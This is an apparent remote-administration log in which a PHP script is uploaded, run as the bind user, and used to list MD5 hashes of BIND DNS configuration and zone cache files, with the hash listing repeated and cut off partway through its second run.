MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:27:59: Establishing a connection
2026-04-28 10:27:59: 

PUT: /tmp/pkp565814

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:28:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp565814; rm /tmp/pkp565814'

2026-04-28 10:28:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:28:01: Establishing a connection
2026-04-28 10:28:01: 

PUT: /tmp/pkp666156

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:28:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp666156; rm /tmp/pkp666156'

2026-04-28 10:28:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
